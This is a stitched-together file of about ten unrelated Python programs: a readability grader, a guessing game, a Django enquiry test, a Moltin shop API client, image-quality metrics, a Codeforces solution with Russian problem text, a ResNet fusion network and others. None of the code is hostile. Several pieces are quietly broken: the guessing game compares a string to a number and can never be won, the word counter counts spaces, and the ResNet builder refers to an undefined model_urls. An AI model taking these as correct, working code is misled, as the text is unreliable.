def count_letters(text):
    count = 0
    for i in range(len(text)):
        if text[i].isalpha():
            count += 1
    return count

def count_words(text):
    count = 0
    for i in range(len(text)):
        if text[i].isspace():
            count += 1
    return count + 1

def count_sentences(text):
    count = 0
    for i in range(len(text)):
        if text[i] == "." or text[i] == "!" or text[i] == "?":
            count += 1
    return count

def main():
    text = input("Text: ")
    l = count_letters(text)
    w = count_words(text)
    s = count_sentences(text)
    # L is the average number of letters per 100 words in the text
    L = (100.0 * l) / w
    # S is the average number of sentences per 100 words in the text
    S = (100.0 * s) / w

    index = round(0.0588 * L - 0.296 * S - 15.8)

    if (index < 1):
        print("Before Grade 1")
    elif (index > 16):
        print("Grade 16+")
    else:
        print(f"Grade {index}")

main()


import random
sec_num = random.randint(1,500)
print("Select any number between 1 and 500\n")

while True:
    res =input("Please Guess the number \n")
    if res == sec_num:
        print("You won ")
        break
    else:
        print("You Lost....Hahaha")
        continue


import random
from datetime import datetime
from unittest import mock

import requests_mock
from django.conf import settings
from django.forms.models import model_to_dict
from django.test import TestCase
from faker import Faker
from freezegun import freeze_time

from app.enquiries.common.as_utils import fetch_and_process_enquiries
from app.enquiries.models import Enquiry, Enquirer

faker = Faker()

# relevant table from the complete html body
table_template = """

See below for your submitted form:

            Given name
            {first_name}

            Family name
            {last_name}

            Job title
            CEO

            Email address
            {email}

            Phone number
            {phone}

            Company name
            {company_name}

            Company website
            https://example.com

            Company HQ address
            Far, far away

            Country
            US

            Industry
            AEROSPACE

                Which of these best describes how you feel about expanding to the UK?

            I’m still exploring where to expand my business and would like to know more about\
 the UK’s offer.

            Tell us about your investment
            This is a test message sent via automated tests

            Would you like to arrange a call?
            {arrange_call}

            When should we call you?

            How did you hear about us?
            LinkedIn

            I would like to receive additional information by email
            {email_consent}

                I would like to receive additional information by telephone

            {phone_consent}

"""

def get_enquiries_data():
    response = {"hits": {"hits": []}}
    details = []
    for i in range(3):
        item = {
            "_source": {
                "object": {
                    "submission_data": {"html_body": ""},
                    "url": "/international/invest/contact/",
                    "published": datetime.now().isoformat(),
                }
            },
            "sort": [12345, "submission_type"],
        }

        arrange_call = random.choice(["yes", "no", "yes", "yes", "no", "yes"])
        email_consent = random.choice(["True", "False", "False", "True", "True", "True"])
        phone_consent = random.choice(["True", "False", "False", "True", "True", "True"])
        detail = {
            "company_name": faker.company(),
            "first_name": faker.name(),
            "last_name": faker.name(),
            "email": faker.email(),
            "phone": faker.phone_number(),
            "arrange_call": arrange_call,
            "email_consent": email_consent,
            "phone_consent": phone_consent,
            "skip": False,
        }
        html_body = table_template.format(**detail)
        item["_source"]["object"]["submission_data"]["html_body"] = html_body
        # make one item with incorrect url so that it gets skipped
        if i == 1:
            item["_source"]["object"]["url"] = "/international/trade/contact/"
            detail["skip"] = True

        response["hits"]["hits"].append(item)
        details.append(detail)

    return response, details

class ActivityStreamIntegrationTests(TestCase):

    @freeze_time()
    @mock.patch("app.enquiries.tasks.update_enquirer_consents.apply_async")
    def test_fetch_new_enquiries(self, mock_task):
        """
        Test that fetches sample enquiries data, parses them and creates
        Enquiry objects and asserts data matches with input data

        Checks that for enquiries which come through activity stream the
        date_received field is populated with the date of creation.
        """
        with requests_mock.Mocker() as m:
            url = settings.ACTIVITY_STREAM_SEARCH_URL
            data, details = get_enquiries_data()
            m.get(url, json=data)

            self.assertEqual(Enquiry.objects.count(), 0)
            assert mock_task.call_count == 0
            fetch_and_process_enquiries()
            assert mock_task.call_count == 4
            self.assertEqual(Enquiry.objects.count(), 2)
            enquiry = Enquiry.objects.all().first()
            assert enquiry.date_received == enquiry.created

            for detail in details:
                if not detail["skip"]:
                    enquiry = model_to_dict(
                        Enquiry.objects.filter(company_name=detail["company_name"]).first()
                    )
                    enquirer = model_to_dict(Enquirer.objects.get(id=enquiry["enquirer"]))
                    for k, v in detail.items():
                        if k == "arrange_call":
                            v = True if v == "yes" else False
                        if k in enquiry.keys():
                            self.assertEqual(enquiry[k], v)
                        if k in enquirer.keys():
                            self.assertEqual(enquirer[k], v)
                else:
                    self.assertEqual(
                        Enquiry.objects.filter(company_name=detail["company_name"]).count(), 0
                    )


import requests
from telegram import InlineKeyboardButton

def get_token(client_id, client_secret):
    data = {
        'client_id': client_id,
        'client_secret': client_secret,
        'grant_type': 'client_credentials',
    }
    response = requests.post('https://api.moltin.com/oauth/access_token',
                             data=data)
    response.raise_for_status()
    token_params = response.json()
    access_token = token_params['access_token']
    token_expires = token_params['expires']
    return access_token, token_expires

def get_products_params(access_token):
    headers = {
            'Authorization': f'Bearer {access_token}',
        }
    response = requests.get('https://api.moltin.com/pcm/products',
                            headers=headers)
    response.raise_for_status()
    return response.json()

def get_product_params(access_token, product_id):
    headers = {
            'Authorization': f'Bearer {access_token}',
        }
    params = {
        'include': 'prices',
    }
    response = requests.get(f'https://api.moltin.com/pcm/products/{product_id}',
                            headers=headers,
                            params=params)
    response.raise_for_status()
    return response.json()

def get_products_prices(access_token, price_list_id):
    headers = {
            'Authorization': f'Bearer {access_token}',
        }
    response = requests.get(f'https://api.moltin.com/pcm/pricebooks/{price_list_id}/prices',
                            headers=headers)
    response.raise_for_status()
    return response.json()

def get_product_files(access_token, file_id):
    headers = {
            'Authorization': f'Bearer {access_token}',
        }
    response = requests.get(f'https://api.moltin.com/v2/files/{file_id}',
                            headers=headers)
    response.raise_for_status()
    return response.json()

def create_client(access_token, client_name, email):
    headers = {
        'Authorization': f'Bearer {access_token}',
        'Content-Type': 'application/json',
    }

    json_data = {
        'data': {
            'type': 'customer',
            'name': client_name,
            'email': email,
        },
    }
    response = requests.post('https://api.moltin.com/v2/customers',
                             headers=headers,
                             json=json_data)
    return response

def get_products_names(products_params):
    keyboard_products = [InlineKeyboardButton("Главное меню",
                                              callback_data='main_menu')]
    for product in products_params['data']:
        button_name = product['attributes']['name']
        button_id = product['id']
        button = InlineKeyboardButton(button_name, callback_data=button_id)
        keyboard_products.insert(0, button)
    return keyboard_products

def add_item_to_cart(access_token, product_id, quantity, cart_name):
    headers = {
        'Authorization': f'Bearer {access_token}',
        'Content-Type': 'application/json'
    }
    json_data = {
        'data': {
            'type': 'cart_item',
            'id': product_id,
            "quantity": quantity,
        }
    }
    response = requests.post(f'https://api.moltin.com/v2/carts/{cart_name}/items',
                             headers=headers,
                             json=json_data)
    response.raise_for_status()
    return response

def get_products_from_cart(access_token, cart_name):
    headers = {
            'Authorization': f'Bearer {access_token}',
        }
    response = requests.get(f'https://api.moltin.com/v2/carts/{cart_name}/items',
                            headers=headers)
    response.raise_for_status()
    return response.json()

def get_cart_params(access_token, cart_name):
    headers = {
        'Authorization': f'Bearer {access_token}',
    }
    response = requests.get(f'https://api.moltin.com/v2/carts/{cart_name}',
                            headers=headers)
    response.raise_for_status()
    return response.json()

def delete_item_from_cart(access_token, cart_name, product_id):
    headers = {
        'Authorization': f'Bearer {access_token}',
    }
    response = requests.delete(f'https://api.moltin.com/v2/carts/{cart_name}/items/{product_id}',
                    headers=headers)
    response.raise_for_status()
    return response


import numpy as np
import cv2
import skimage.measure

def snr(image, ddof=0):
    """snr calculates the signal-to-noise ratio of an image.
    Input:  image
            ddof (default is 0)
    Output: snr of the image
    """
    array = np.asanyarray(image)
    array = (array - array.min()) / (array.max() - array.min())
    m = array.mean()
    std = array.std(ddof=ddof)

    return m, std

def my_cpp(image):
    """cpp is evaluating the contrast per pixel.
    Input:  image
    Output: cpp of the image
    """
    kernel = np.asarray([[-1, -1, -1], [-1, 8, -1], [-1, -1, -1]])/8
    filtered_image = cv2.filter2D(image, -1, kernel)
    return np.mean(filtered_image)

def entropy(image, _min, _max, is_CT):
    """entropy calculates the entropy of a given image.
    Input:  Image
    Output: Entropy of the image
    """
    if is_CT:
        _min = -400
        _max = 600
    array = np.round(255*(np.asarray(image) - _min) / (_max - _min)).astype(int)
    return skimage.measure.shannon_entropy(image)

def statis_info(image, _min, _max, is_CT):
    """statis_info calculates the mean and the std of the given image.
    """
    if is_CT:
        _min = -400
        _max = 600
    array = (np.asarray(image) - _min) / (_max - _min)
    mean = np.mean(array)
    std = np.std(array)
    return mean, std


n, m, k = 1, 1, 1
a = [1]
b = [100]

n, m, k = map(int, input().split(" "))
a = list(map(int, input().split(" ")))[:n]
b = list(map(int, input().split(" ")))[:m]

results = []

for ai in a:
  works = 0
  for bj in b:
    if abs(ai-bj) <= k:
      works += 1
  results.append(works)

max_mumber = max(results)
print(results.index(max_mumber) + 1 )

# Рабочие и работы
# ограничение по времени на тест2 секунды
# ограничение по памяти на тест256 мегабайт
# вводстандартный ввод
# выводстандартный вывод
# Вы — начальник n рабочих и решаете, кому хотите повысить зарплату. Рабочие пронумерованы от 1 до n. Умение i-го рабочего равно ai. За последний месяц всего было m различных видов работ. Сложность j-го вида работы равна bj. Вы знаете, что рабочий i мог быть назначен на выполнение работы j тогда и только тогда, когда |ai - bj| ≤ k.

# Вы хотите повысить зарплату рабочему, который мог быть назначен на максимальное количество работ. Если таких рабочих несколько, то вы можете выбрать любого из них. Ваша задача — сообщить номер любого рабочего, который мог выполнить максимальное количество работ.

# Входные данные
# Первая строка входных данных содержит три целых числа n, m и k (1 ≤ n, m, k ≤ 100) — количество рабочих, количество работ и максимальное значение разницы.

# Вторая строка входных данных содержит n целых чисел a1, a2, ..., an (1 ≤ ai ≤ 100), где ai равно умению i-го рабочего.

# Третья строка входных данных содержит m целых чисел b1, b2, ..., bm (1 ≤ bj ≤ 100), где bj равно сложности j-й работы.

# Выходные данные
# Выведите одно целое число — номер любого рабочего, который мог выполнить максимальное количество работ.

# Примеры
# входные данные
# 5 5 2
# 1 2 3 4 5
# 1 2 3 4 5
# выходные данные
# 3
# входные данные
# 6 7 4
# 18 1 3 10 8 14
# 1 4 12 11 20 5 6
# выходные данные
# 5
# входные данные
# 1 1 1
# 1
# 100
# выходные данные
# 1


import random
import textwrap
import itertools
from pathlib import Path

import htmap

def mashup(first_book, second_book):
    first_text = first_book.read_text()
    second_text = second_book.read_text()

    first_words = first_text.split()
    second_words = second_text.split()

    words = []
    for first_word, second_word in zip(first_words, second_words):
        words.append(random.choice((first_word, second_word)))

    text = ' '.join(words)
    wrapped = textwrap.wrap(text)[100:-500]
    final = '\n'.join(wrapped)

    return final

if __name__ == "__main__":
    books_dir = htmap.TransferPath.cwd() / 'books'
    book_paths = list(books_dir.iterdir())

    with htmap.build_map(mashup, tag = 'mashups') as builder:
        for first_book, second_book in itertools.combinations(book_paths, r = 2):
            builder(first_book, second_book)

    m = builder.map
    print(m.tag)


import os
import sys
import glob
import shutil
from colorama import Fore, Back, Style

def main():

    # List existing RADLab Modules
    module = list_modules()

    sc_path = os.getcwd() + '/radlab-service-catalog'

    # Creating RadLab Service Catalog Package folder
    os.system('mkdir -p ' + sc_path)

    # Pull specific folder from RADLab GitHub Repo
    shutil.copytree(os.path.dirname(os.getcwd()) + '/modules/'+ module, sc_path + '/' + module)

    for filename in os.listdir(sc_path + '/' + module):

        f = os.path.join(sc_path + '/' + module, filename)

        # Remove all non.tf files from the root of the module
        if os.path.isfile(f) and os.path.splitext(f)[1] != ".tf":
            os.remove(f)

    # Zip the module in such a way that .tf files are at the root of the zipped file
    os.system('cd ' + sc_path + '/' + module + '; zip -r ' + module + '.zip *')

    # Move thezip package to the RADLab Service Catalog Folder
    os.system('mv ' + sc_path + '/' + module + '/' + module + '.zip ' + sc_path )

    # Remove the downloaded module
    os.system('rm -r ' + sc_path + '/' + module)

    # Printing path to RADLab's Service Catalog Solution.
    print("Please find the zipped solution here: " + sc_path + '/' + module +'.zip')

def list_modules():
    modules = [s.replace(os.path.dirname(os.getcwd()) + '/modules/', "") for s in glob.glob(os.path.dirname(os.getcwd()) + '/modules/*')]
    modules = sorted(modules)
    c = 1
    print_list = ''

    # Printing List of Modules
    for module in modules:
        first_line = ''
        # Fetch Module name
        try:
            with open(os.path.dirname(os.getcwd()) + '/modules/'+ module + '/README.md', "r") as file:
                first_line = file.readline()
        except:
            print(Fore.RED +'Missing README.md file for module: ' + module + Style.RESET_ALL)
        print_list = print_list + "["+ str(c) +"] " + first_line.strip() + Fore.GREEN + " (" +module + ")\n" + Style.RESET_ALL
        c = c+1

    # Selecting Module
    try:
        selected_module = input("\nList of available RAD Lab modules:\n"+print_list+"["+ str(c) +"] Exit\n"+ Fore.YELLOW + Style.BRIGHT + "Choose a number for the RAD Lab Module"+ Style.RESET_ALL + ': ').strip()
        selected_module = int(selected_module)
    except:
        sys.exit(Fore.RED + "\nInvalid module")

    # Validating User Module selection
    if selected_module > 0 and selected_module < c:
        # print(modules)
        module_name = modules[selected_module-1]
        print("\nRAD Lab Module (selected) : "+ Fore.GREEN + Style.BRIGHT +module_name+ Style.RESET_ALL)
        return module_name
    elif selected_module == c:
        sys.exit(Fore.GREEN + "\nExiting Installer")
    else:
        sys.exit(Fore.RED + "\nInvalid module")

if __name__ == '__main__':
    main()


from django.http import HttpResponse, HttpResponseRedirect, Http404
from django.core import serializers
from django.shortcuts import render_to_response
from yui3intro.checkin.models import Registration
from django.db.models import Q
from yui3intro.checkin.utilities import getNextPageNumber, getPrevPageNumber
import simplejson as json

PAGE_LENGTH = 25

def index(request, page_number=1):
    page_number = int(page_number)
    registration_list = Registration.objects.order_by('full_name').all()
    view_data = {
            'registration_list': registration_list[(page_number-1) * PAGE_LENGTH:(page_number * PAGE_LENGTH) - 1],
            'filter_text': ""
        }

    view_data["prev_page"] = getPrevPageNumber(page_number)
    view_data["next_page"] = getNextPageNumber(page_number, len(registration_list), PAGE_LENGTH)
    view_data["link_prefix"] = "/checkin/page/";

    if request.is_ajax():
        registrations_json = serializers.serialize('json', view_data["registration_list"]);
        jsonText = json.dumps({
                'nextPage': view_data["next_page"],
                'prevPage': view_data["prev_page"]
            })
        jsonText = jsonText[0:len(jsonText)-1] + ',"data":' + registrations_json + '}'
        return HttpResponse(jsonText)
    return render_to_response('checkin/index.html', view_data);

def checkin(request, registration_id):
    try:
        r = Registration.objects.get(pk = registration_id)
    except Registration.DoesNotExist:
        raise Http404
    r.checkedin = True
    r.save()

    if request.is_ajax():
        return HttpResponse(json.dumps({'id': registration_id, 'checkedin': True}))
    else:
        if request.META["HTTP_REFERER"]:
            return HttpResponseRedirect(request.META["HTTP_REFERER"])
        else:
            return HttpResponseRedirect('/checkin/')

def filter(request, filter_text = None, page_number = 1):
    if filter_text == None:
        return HttpResponseRedirect('/checkin/filter/%s' % request.POST['filter_text'])

    page_number = int(page_number)

    registration_list = Registration.objects.filter(Q(full_name__contains = filter_text) | Q(email__contains = filter_text)).order_by('full_name')
    view_data = {
            'registration_list': registration_list[(page_number-1) * PAGE_LENGTH:(page_number * PAGE_LENGTH) - 1],
            'filter_text': filter_text
        }

    view_data["prev_page"] = getPrevPageNumber(page_number)
    view_data["next_page"] = getNextPageNumber(page_number, len(registration_list), PAGE_LENGTH)
    view_data["link_prefix"] = "/checkin/filter/%s/page/" % filter_text

    if request.is_ajax():
        registrations_json = serializers.serialize('json', view_data["registration_list"]);
        jsonText = json.dumps({
                'nextPage': view_data["next_page"],
                'prevPage': view_data["prev_page"]
            })
        jsonText = jsonText[0:len(jsonText)-1] + ',"data":' + registrations_json + '}'
        return HttpResponse(jsonText)
    return render_to_response('checkin/index.html', view_data);

def stats(request):
    #if not request.is_ajax():
    #    return Http404A
    jsonText = json.dumps({
        'total': Registration.objects.count(),
        'checkedin': Registration.objects.exclude(checkedin__exact = False).count()
    });
    return HttpResponse(jsonText);


import torch.nn as nn
# from .utils import load_state_dict_from_url
# from torch.hub import load_state_dict_from_url
from torch.hub import load_state_dict_from_url
from torch.nn import Module, Parameter
import torch
import torch.nn.functional as F
import torch.utils.model_zoo as model_zoo
import torchvision.models.resnet
from .transformer import Transformer
import pdb
from models import MPNCOV
from models.High_Order import *
import torch
from torch import nn
from torch.nn import init
import torch.nn.functional as F
from torch.optim import Adam
__all__ = ['fusion_concat']

def softmax(X):

    X_exp = X.exp()

    partition = X_exp.sum(dim=0, keepdim=True)

    return torch.nn.Parameter(X_exp / partition)
def norm(x, dim):
    squared_norm = (x ** 2).sum(dim=dim, keepdim=True)
    normed = x / torch.sqrt(squared_norm)
    return normed

def conv3x3(in_planes, out_planes, stride=1, groups=1, dilation=1):
    """3x3 convolution with padding"""
    return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,
                     padding=dilation, groups=groups, bias=False, dilation=dilation)

def conv1x1(in_planes, out_planes, stride=1):
    """1x1 convolution"""
    return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)

def conv_bn_relu(inp, out,kernel_size=3, stride=1, padding=1):
    return nn.Sequential(
        nn.Conv2d(inp, out, kernel_size, stride, padding),
        nn.BatchNorm2d(out),
        nn.ReLU()
    )
# Attention Refinement Module (ARM)
class ARM(nn.Module):
    def __init__(self, in_channels):
        super(ARM, self).__init__()

        self.global_pool = nn.AdaptiveAvgPool2d((1,1))
        self.conv_1x1 = nn.Conv2d(in_channels, in_channels, 1, stride=1, padding=0)
        # self.bn = nn.BatchNorm1d(in_channels)
        self.sigmod = nn.Sigmoid()

    def forward(self, input):
        x = self.global_pool(input)

        x = self.conv_1x1(x)
        # x = self.bn(x)

        x = self.sigmod(x)
        #x = self.up(x)

        out = torch.mul(input, x)
        return out

# Feature Fusion Module
class FFM(nn.Module):
    def __init__(self, in_channels, out_channels):
        super(FFM, self).__init__()
        self.conv_bn_relu = conv_bn_relu(in_channels, out_channels)

        self.global_pool = nn.AdaptiveAvgPool2d((1,1))
        self.conv_1x1_1 = nn.Conv2d(out_channels,out_channels, 1, stride=1, padding=0)
        self.relu = nn.ReLU()
        self.conv_1x1_2 = nn.Conv2d(out_channels, out_channels, 1, stride=1, padding=0)
        self.sigmod = nn.Sigmoid()

    def forward(self, sp, cx):
        #input = torch.cat((sp, cx), 1)
        input = (sp+cx)/2
        feather = self.conv_bn_relu(input)

        x = self.global_pool(feather)

        x = self.conv_1x1_1(x)
        x = self.relu(x)
        x = self.conv_1x1_2(x)
        x = self.sigmod(x)

        out = torch.mul(feather, x)
        out = feather + out

        return out

class BasicBlock(nn.Module):
    expansion = 1

    def __init__(self, inplanes, planes, stride=1, downsample=None, groups=1,
                 base_width=64, dilation=1, norm_layer=None):
        super(BasicBlock, self).__init__()
        if norm_layer is None:
            norm_layer = nn.BatchNorm2d
        if groups != 1 or base_width != 64:
            raise ValueError('BasicBlock only supports groups=1 and base_width=64')
        if dilation > 1:
            raise NotImplementedError("Dilation > 1 not supported in BasicBlock")
        # Both self.conv1 and self.downsample layers downsample the input when stride != 1
        self.conv1 = conv3x3(inplanes, planes, stride)
        self.bn1 = norm_layer(planes)
        self.relu = nn.ReLU(inplace=True)
        self.conv2 = conv3x3(planes, planes)
        self.bn2 = norm_layer(planes)
        self.downsample = downsample
        self.stride = stride

    def forward(self, x):
        identity = x

        out = self.conv1(x)
        out = self.bn1(out)
        out = self.relu(out)

        out = self.conv2(out)
        out = self.bn2(out)

        if self.downsample is not None:
            identity = self.downsample(x)

        out += identity
        out = self.relu(out)

        return out

class Bottleneck(nn.Module):
    expansion = 4

    def __init__(self, inplanes, planes, stride=1, downsample=None, groups=1,
                 base_width=64, dilation=1, norm_layer=None):
        super(Bottleneck, self).__init__()
        if norm_layer is None:
            norm_layer = nn.BatchNorm2d
        width = int(planes * (base_width / 64.)) * groups
        # Both self.conv2 and self.downsample layers downsample the input when stride != 1
        self.conv1 = conv1x1(inplanes, width)
        self.bn1 = norm_layer(width)
        self.conv2 = conv3x3(width, width, stride, groups, dilation)
        self.bn2 = norm_layer(width)
        self.conv3 = conv1x1(width, planes * self.expansion)
        self.bn3 = norm_layer(planes * self.expansion)
        self.relu = nn.ReLU(inplace=True)
        self.downsample = downsample
        self.stride = stride
        self.avg_pool = nn.AdaptiveAvgPool2d(1)
    def forward(self, x):
        identity = x

        out = self.conv1(x)
        out = self.bn1(out)
        out = self.relu(out)

        out = self.conv2(out)
        out = self.bn2(out)
        out = self.relu(out)

        out = self.conv3(out)
        out = self.bn3(out)

        if self.downsample is not None:
            identity = self.downsample(x)

        out += identity
        out = self.relu(out)

        return out

class ResNet(nn.Module):

    def __init__(self, block, layers, num_classes=1000, zero_init_residual=False,
                 groups=1, width_per_group=64, replace_stride_with_dilation=None,
                 norm_layer=None):
        super(ResNet, self).__init__()
        if norm_layer is None:
            norm_layer = nn.BatchNorm2d
        self._norm_layer = norm_layer

        self.inplanes = 64
        self.dilation = 1
        if replace_stride_with_dilation is None:
            # each element in the tuple indicates if we should replace
            # the 2x2 stride with a dilated convolution instead

            # -----------------------------
            # modified
            replace_stride_with_dilation = [False, False, False]
            # -----------------------------

        if len(replace_stride_with_dilation) != 3:
            raise ValueError("replace_stride_with_dilation should be None "
                             "or a 3-element tuple, got {}".format(replace_stride_with_dilation))
        self.groups = groups
        self.avg_pool = nn.AdaptiveAvgPool2d(1)
        self.base_width = width_per_group
        self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3,
                               bias=False)
        self.bn1 = norm_layer(self.inplanes)

        self.conv2 = nn.Conv2d(64, 2, kernel_size=1, stride=1)
        self.bn2 = norm_layer(2)
        self.relu = nn.ReLU()

        self.sig = nn.Sigmoid()
        self.att_conv1 = nn.Conv2d(64, 1, kernel_size=3, padding=1)
        self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
        self.layer1 = self._make_layer(block, 64, layers[0])
        self.layer2 = self._make_layer(block, 128, layers[1], stride=2,
                                       dilate=replace_stride_with_dilation[0])
        self.layer3 = self._make_layer(block, 256, layers[2], stride=2,
                                       dilate=replace_stride_with_dilation[1])
        self.layer4 = self._make_layer(block, 512, layers[3], stride=2,
                                       dilate=replace_stride_with_dilation[2])

        self.maxpool_1 = nn.AdaptiveMaxPool2d((8,6))
        self.channel_scale_1 = nn.Conv2d(64, 512, kernel_size=3,stride=1, padding=1)
        self.norm_1 = nn.LayerNorm(512, eps=1e-6)
        #self.att_1 = SOCA(512)
        #self.arm_1 = ARM(512)

        self.maxpool_2 = nn.AdaptiveMaxPool2d((8,6))
        self.channel_scale_2 = nn.Conv2d(128, 512, kernel_size=3,stride=1, padding=1)
        self.norm_2 = nn.LayerNorm(512, eps=1e-6)
        #self.arm_2 = ARM(512)

        '''
        self.patch_embedding_0 = nn.Conv2d(64, 64, kernel_size=(4, 4), stride=(4, 4))
        self.transformer_0 = Transformer(num_layers=1, dim=64, h=16, w=12, num_heads=1,
                                      ff_dim=128, dropout=0.1)
        self.channel_scale_0 = nn.Conv2d(64, 256, kernel_size=1,stride=1)

        self.patch_embedding_1 = nn.Conv2d(64, 64, kernel_size=(2, 2), stride=(2, 2))
        self.transformer_1 = Transformer(num_layers=1, dim=64, h=32, w=24, num_heads=1,
                                      ff_dim=128, dropout=0.1)
        self.channel_scale_1 = nn.Conv2d(64, 128, kernel_size=1,stride=1)
        '''

        #self.att_2 = SOCA(512)
        self.maxpool_3 = nn.AdaptiveMaxPool2d((8,6))
        self.channel_scale_3 = nn.Conv2d(256, 512, kernel_size=3,stride=1, padding=1)
        self.norm_3 = nn.LayerNorm(512, eps=1e-6)
        #self.att_3 = SOCA(512)
        #self.arm_3 = ARM(512)

        self.norm_4 = nn.LayerNorm(512, eps=1e-6)
        #self.att_4 = SOCA(512)
        #self.arm_4 = ARM(512)
        #self.para = torch.nn.Parameter(torch.tensor([0.5]), requires_grad=True)
        #self.selective_0 = torch.nn.Parameter(torch.Tensor(4,512,1,1).fill_(0.5))
        #self.selective_0 = torch.nn.Parameter(torch.Tensor([0.3, 0.5, 0.7, 1.0])).cuda()
        #self.selective_0.data.copy_(torch.Tensor([0.3,0.5,0.7,1.0]))
        #nn.init.constant_(self.selective_0, 0.5)
        self.high_attention=nn.Sequential(
                        nn.AdaptiveMaxPool2d(1),
                        nn.Conv2d(2048, 128, kernel_size=1,padding=0),
                        nn.ReLU(),
                        nn.Conv2d(128, 2048, kernel_size=1,padding=0),
                        nn.Sigmoid())
        #self.ffm =FFM(512, 512)
        for m in self.modules():
            if isinstance(m, nn.Conv2d):
                nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")
            elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):
                nn.init.constant_(m.weight, 1)
                nn.init.constant_(m.bias, 0)

    def _make_layer(self, block, planes, blocks, stride=1, dilate=False):
        norm_layer = self._norm_layer
        downsample = None
        previous_dilation = self.dilation
        if dilate:
            self.dilation *= stride
            stride = 1
        if stride != 1 or self.inplanes != planes * block.expansion:
            downsample = nn.Sequential(
                conv1x1(self.inplanes, planes * block.expansion, stride),
                norm_layer(planes * block.expansion),
            )

        layers = []
        layers.append(block(self.inplanes, planes, stride, downsample, self.groups,
                            self.base_width, previous_dilation, norm_layer))
        self.inplanes = planes * block.expansion
        for _ in range(1, blocks):
            layers.append(block(self.inplanes, planes, groups=self.groups,
                                base_width=self.base_width, dilation=self.dilation,
                                norm_layer=norm_layer))

        return nn.Sequential(*layers)

    def forward(self, x):
        x = self.conv1(x)
        x = self.bn1(x)
        output_0 = self.relu(x)

        output_0 = self.maxpool(output_0)

        '''
        branch_0 = self.patch_embedding_0(output_0)#16,12
        branch_0 = self.transformer_0( branch_0.permute(0,2,3,1).view( branch_0.size()[0],  branch_0.size()[2]* branch_0.size()[3], 64))
        branch_0 = branch_0.permute(0,2,1).view(branch_0.size()[0], 64, 16, 12)
        branch_0 = self.channel_scale_0(branch_0)

        branch_1 = self.patch_embedding_1(output_0)#32,24
        branch_1 = self.transformer_1( branch_1.permute(0,2,3,1).view( branch_1.size()[0],  branch_1.size()[2]* branch_1.size()[3], 64))
        branch_1 = branch_1.permute(0,2,1).view(branch_1.size()[0], 64, 32, 24)
        branch_1=  self.channel_scale_1(branch_1)

        '''
        output_1 = self.layer1(output_0)

        output_2 = self.layer2(output_1)

        output_3 = self.layer3(output_2)

        output_4 = self.layer4(output_3)

        #fusion_concat

        subset_1 = norm(self.channel_scale_1(self.maxpool_1(output_1)), dim=1)
        subset_2 = norm(self.channel_scale_2(self.maxpool_2(output_2)), dim=1)
        subset_3 = norm(self.channel_scale_3(self.maxpool_3(output_3)), dim=1)
        subset_4 = norm(output_4, dim=1)

        #pdb.set_trace()
        #self.selective_0 = torch.nn.Parameter(self.relu(self.selective_0))
        #self.selective_0 = softmax(self.selective_0)
        #selective_0 = self.relu(self.selective_0)
        #selective_0 /= (torch.sum(selective_0, dim=0) + 0.0001)

        output = torch.cat((subset_1, subset_2, subset_3, subset_4), dim=1)
        channel_attention = self.high_attention(output)
        output = subset_1*channel_attention[:,0:512,:,:] + subset_2*channel_attention[:,512:1024,:,:]+ subset_3*channel_attention[:,1024:1536,:,:]+subset_4*channel_attention[:,1536:2048,:,:]
        #output = output+output*channel_attention
        #sum = (self.arm_1(subset_1) + self.arm_2(subset_2) + self.arm_3(subset_3))/3
        #sum =  self.arm_2(subset_2)
        #sum = self.ffm(subset_4, sum)
        #sum = self.selective_0[0]*(subset_1) + self.selective_0[1]*(subset_2) + self.selective_0[2]*(subset_3) + self.selective_0[3]*(subset_4)
        #sum = selective_0[0].unsqueeze(0)*(subset_1) + selective_0[1].unsqueeze(0)*(subset_2) + selective_0[2].unsqueeze(0)*(subset_3) + selective_0[3].unsqueeze(0)*(subset_4)
        #sum =  ((subset_1) + (subset_2)+(subset_3)+(subset_4))/4
        return output, output, output#x_cov.view(x_cov.size()[0], 1, 128,96), output_4

        #return output_4, output_4, output_4

def remove_fc(state_dict):
    """ Remove the fc layer parameter from state_dict. """
    return {key: value for key, value in state_dict.items() if not key.startswith('fc.')}

def _resnet(arch, block, layers, pretrained, progress, **kwargs):
    '''
    model = ResNet(block, layers, **kwargs)

    if pretrained:
        state_dict = load_state_dict_from_url(model_urls[arch],
                                              progress=progress)
        model.load_state_dict(remove_fc(state_dict))
    return model
    '''
    model = ResNet(block, layers, **kwargs)

    #pretrain from the model   version1:
    pretrained_dict = model_zoo.load_url(model_urls['resnet18'])
    model_dict = model.state_dict()
    pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict and model_dict[k].size() == v.size()}
    #pretrained_dict = {k:v for k,v in pretrained_dict.items() if k in model_dict}
    model_dict.update(pretrained_dict)
    model.load_state_dict(model_dict)
    # model.load_state_dict(model_zoo.load_url(model_urls['resnet50']))

    return model

def fusion_concat(pretrained=False, progress=True, **kwargs):
    """Constructs a ResNet-18 model.

    Args:
        pretrained (bool): If True, returns a model pre-trained on ImageNet
        progress (bool): If True, displays a progress bar of the download to stderr
    """
    return _resnet('resnet18', BasicBlock, [2, 2, 2, 2], pretrained, progress,
                   **kwargs)


import pandas as pd
from dataclasses import dataclass

import Quatre_Etapes.main
from Data.A_CstesModus import *
from Data.fonctions_gen import *
from Quatre_Etapes import dossiers_simul

@dataclass
class read_mat:
    per: str = ''
    n: str = ''

    def CORDVP_func(self):
        CORDVP = pd.read_csv(Mat_Calees[f'CORDVP_{self.per}_{self.n}'].path,
                              sep=Mat_Calees[f'CORDVP_{self.per}_{self.n}'].sep,
                              skiprows=Mat_Calees[f'CORDVP_{self.per}_{self.n}'].skip,
                             encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
        # ODVide = ODvide_func_b(cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
        # CORDVP = pd.merge(ODVide, CORDVP, on=['ZONEO', 'ZONED'], how='outer')
        CORDVP = complete(CORDVP, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
        CORDVP['FLUX'].fillna(0, inplace=True)
        CORDVP = CORDVP.loc[(CORDVP['ZONEO'] > cNbZone + cNbZspec)|(CORDVP['ZONED'] > cNbZone + cNbZspec), :]
        return CORDVP

